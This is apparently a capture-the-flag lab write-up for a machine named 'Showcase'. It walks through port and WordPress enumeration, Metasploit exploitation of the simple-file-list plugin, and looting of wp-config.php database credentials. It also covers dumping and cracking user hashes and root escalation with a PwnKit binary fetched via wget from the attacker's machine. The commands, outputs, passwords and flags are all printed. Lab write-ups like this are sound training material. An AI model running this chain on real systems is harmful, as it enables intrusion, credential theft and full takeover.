10.150.150.129 Showcase
FLAG1
c959da3dd49f228e8d163582f78ee5a1ad54d4f2
FLAG2
0c077df9461aaa8ea00769ebee34631a45b33d8c
FLAG3
0aa540ffa669bf1de1912a1d1e76a63a0344ebef
FLAG4
91cc4babaaa29f9763b2bd6682913a64bfdecbb8
FLAG5
01e6960ec2191d583ca7aa81e4649818937ea2bd
Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 cf:07:01:d2:e3:f0:5e:60:1e:ff:25:c3:99:ad:29:90 (RSA)
| 256 58:16:5c:75:23:3f:b7:8b:e3:32:1e:8d:d8:73:6e:a6 (ECDSA)
|_ 256 4c:a0:54:46:09:32:e0:33:a7:82:9e:0d:99:42:32:9c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: FLAG4: 91cc4babaaa29f9763b2bd6682913a64bfdecbb8
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On nmap result we already got FLAG4 We have port 22 and 80, nothing else, another web app CTF, let’s go fuzz
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u 10.150.150.129 -w /usr/share/wordlists/dirb/common.txt -q -t 200
/index.html (Status: 200) [Size: 10928]
/server-status (Status: 403) [Size: 279]
/wordpress (Status: 301) [Size: 320] [–> <http://10.150.150.129/wordpress/>]
┌──(kali㉿kali)-[~]
└─$ wpscan –url 10.150.150.129/wordpress
_______________________________________________________________
__ _______ _____
\\ \\ / / __ \\ / ____|
\\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ ®
\\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | ‘_ \\
\\ /\\ / | | ____) | (__| (_| | | | |
\\/ \\/ |_| |_____/ \\___|\\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic – <https://automattic.com/>
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: <http://10.150.150.129/wordpress/> [10.150.150.129]
[+] Started: Sat Jul 30 10:28:19 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: <http://10.150.150.129/wordpress/xmlrpc.php>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| – <http://codex.wordpress.org/XML-RPC_Pingback_API>
| – <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/>
| – <https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/>
| – <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/>
| – <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/>
[+] WordPress readme found: <http://10.150.150.129/wordpress/readme.html>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: <http://10.150.150.129/wordpress/wp-content/uploads/>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: <http://10.150.150.129/wordpress/wp-cron.php>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| – <https://www.iplocation.net/defend-wordpress-from-ddos>
| – <https://github.com/wpscanteam/wpscan/issues/1299>
[+] WordPress version 5.5.3 identified (Insecure, released on 2020-10-30).
| Found By: Rss Generator (Passive Detection)
| – <http://10.150.150.129/wordpress/index.php/feed/>, <generator><https://wordpress.org/?v=5.5.3></generator>
| – <http://10.150.150.129/wordpress/index.php/comments/feed/>, <generator><https://wordpress.org/?v=5.5.3></generator>
[+] WordPress theme in use: officepress
| Location: <http://10.150.150.129/wordpress/wp-content/themes/officepress/>
| Last Updated: 2022-07-12T00:00:00.000Z
| Readme: <http://10.150.150.129/wordpress/wp-content/themes/officepress/readme.txt>
| [!] The version is out of date, the latest version is 1.1.7
| Style URL: <http://10.150.150.129/wordpress/wp-content/themes/officepress/style.css?ver=5.5.3>
| Style Name: OfficePress
| Style URI: <https://themepalace.com/downloads/officepress>
| Description: OfficePress, with its aesthetically pleasant and modern looking design is a multipurpose WordPress t…
| Author: Theme Palace
| Author URI: <https://themepalace.com>
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.1.5 (80% confidence)
| Found By: Style (Passive Detection)
| – <http://10.150.150.129/wordpress/wp-content/themes/officepress/style.css?ver=5.5.3>, Match: ‘Version: 1.1.5’
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] simple-file-list
| Location: <http://10.150.150.129/wordpress/wp-content/plugins/simple-file-list/>
| Last Updated: 2022-06-01T21:24:00.000Z
| [!] The version is out of date, the latest version is 4.4.11
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 4.2.2 (100% confidence)
| Found By: Readme – Stable Tag (Aggressive Detection)
| – <http://10.150.150.129/wordpress/wp-content/plugins/simple-file-list/readme.txt>
| Confirmed By: Readme – ChangeLog Section (Aggressive Detection)
| – <http://10.150.150.129/wordpress/wp-content/plugins/simple-file-list/readme.txt>
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups – Time: 00:00:06 <================================================================================================================> (137 / 137) 100.00% Time: 00:00:06
[i] No Config Backups Found.
[i] User(s) Identified:
[+] admin
| Found By: Author Posts – Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| – <http://10.150.150.129/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1>
| Author Id Brute Forcing – Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] julien
| Found By: Author Id Brute Forcing – Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Exploitation
We know that there is a Plugin simple-file-list 4.2.2 and there is an exploit
Offensive Security’s Exploit Database Archive
https://github.com/RandomRobbieBF/simple-file-list-rce
After many trial and error, seems like the manual exploitation script are not working so well
Firing up Metasploit
msf6 > search wp_simple_file_list_rce
msf6 > use exploit/multi/http/wp_simple_file_list_rce
msf6 exploit(multi/http/wp_simple_file_list_rce) > set lhost tun0
lhost => 10.66.67.42
msf6 exploit(multi/http/wp_simple_file_list_rce) > set rhosts 10.150.150.129
rhosts => 10.150.150.129
msf6 exploit(multi/http/wp_simple_file_list_rce) > set TARGETURI wordpress
TARGETURI => wordpress
msf6 exploit(multi/http/wp_simple_file_list_rce) > run
After session opened:
meterpreter > shell
Process 7086 created.
Channel 0 created.
whoami
www-data
pwd
/var/www
cat FLAG1.txt
c959da3dd49f228e8d163582f78ee5a1ad54d4f2
Privilege Escalation – To User Julien
First of first upgrade our shell
export TERM=xterm
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
Since this is a WordPress site let’s go loot the wp-config for clear text password
cat wp-config.php
<?php
// ** MySQL settings – You can get this info from your web host ** //
/** The name of the database for WordPress */
define( ‘DB_NAME’, ‘wordpress’ );
/** MySQL database username */
define( ‘DB_USER’, ‘sql_user’ );
/** MySQL database password */
define( ‘DB_PASSWORD’, ‘WhatAStrongMysqlPassword123!#’ );
/** MySQL hostname */
define( ‘DB_HOST’, ‘localhost’ );
/** Database Charset to use in creating database tables. */
define( ‘DB_CHARSET’, ‘utf8mb4’ );
/** The Database Collate type. Don’t change this if in doubt. */
define( ‘DB_COLLATE’, ” );
Netstat is not installed, so this will be having hard time here
www-data@showcase:/tmp$ netstat -tulpn | grep LISTEN
Command ‘netstat’ not found, but can be installed with:
apt install net-tools
Anyway we know that there is SQL running because…… WordPress
www-data@showcase:/tmp$ mysql -u sql_user -p
Enter password: WhatAStrongMysqlPassword123!#
mysql> use wordpress;
mysql> select * from wp_users;
select * from wp_users;
+—-+————+————————————+—————+———————+———————————-+———————+———————————————–+————-+————–+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+—-+————+————————————+—————+———————+———————————-+———————+———————————————–+————-+————–+
| 1 | admin | $P$BIVUuJ8PlWbvltkG53qgbVIlQC.0dm0 | admin | admin@showcase.ptd | <http://192.168.222.128/wordpress> | 2020-11-17 10:11:06 | 1612385751:$P$B1POMmXmha04veRs0RUC5EkIm6i9Rm/ | 0 | admin |
| 2 | julien | $P$BV1qKxT3gnnYdU7J31MH/Vpq7q1MCb/ | julien | julien@showcase.ptd | <http://showcase.ptd> | 2020-11-17 13:45:22 | 1605620722:$P$B9ZDJkt/5buXx1njiz09RH4A1Hipqd0 | 0 | Julien Meyer |
+—-+————+————————————+—————+———————+———————————-+———————+———————————————–+————-+————–+
Then we can crack julien’s hash easily with john
┌──(kali㉿kali)-[~]
└─$ cat julien_hash.txt
$P$BV1qKxT3gnnYdU7J31MH/Vpq7q1MCb/
┌──(kali㉿kali)-[~]
└─$ john –wordlist=/usr/share/wordlists/rockyou.txt julien_hash.txt
Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
**guadalajara** (?)
Now we can su into user julien, and here we found FLAG2
www-data@showcase:/home/julien$ su julien
Password: guadalajara
julien@showcase:~$ cat FLAG2.txt
0c077df9461aaa8ea00769ebee34631a45b33d8c
julien@showcase:~$ id
uid=1000(julien) gid=1000(julien) groups=1000(julien),116(lxd)
Privilege Escalation – To Root
Checking the system using hostnamectl
Static hostname: showcase
Icon name: computer-vm
Chassis: vm
Machine ID: 25abcfd0b52b4ae087698ac1151219b8
Boot ID: b423cf541f214742940db51681a59e3f
Virtualization: vmware
Operating System: Ubuntu 20.04.1 LTS
Kernel: Linux 5.4.0-72-generic
Architecture: x86-64
By using the default pwnkit poc script, we cannot compile the version we want, hence, we have to use the pre-compiled version, with x86-64 build
https://github.com/c3c/CVE-2021-4034
<https://github.com/c3c/CVE-2021-4034/releases/download/0.2/cve-2021-4034_x86_64>
Then we transfer to the target machine
python3 -m http.server 8000
After transferring to the /tmp we can simply run it
wget <kali IP>:8000/cve-2021-4034_x86_64
chmod a+x cve-2021-4034_x86_64
./cve-2021-4034_x86_64
CVE-2021-4034 – crossbuild by @c3c
/bin/sh: 0: can’t access tty; job control turned off
# whoami
root
# cat /root/FLAG3.txt
0aa540ffa669bf1de1912a1d1e76a63a0344ebef
Remaining Flags – FLAG5
grep -rnw ‘/var/www/html’ -e ‘FLAG5’ 2>/dev/null
Binary file /var/www/html/backup.tar matches
We then transfer /var/www/html/backup.tar to our kali machine and extract it, we will get FLAG5
┌──(kali㉿kali)-[~]
└─$ cat backup/FLAG5
01e6960ec2191d583ca7aa81e4649818937ea2bd
root@showcase:/tmp# grep -rnw ‘/var/www/html’ -e ‘FLAG4’ 2>/dev/null
/var/www/html/index.html:11: <title>FLAG4: 91cc4babaaa29f9763b2bd6682913a64bfdecbb8</title>
root@showcase:/tmp#
.
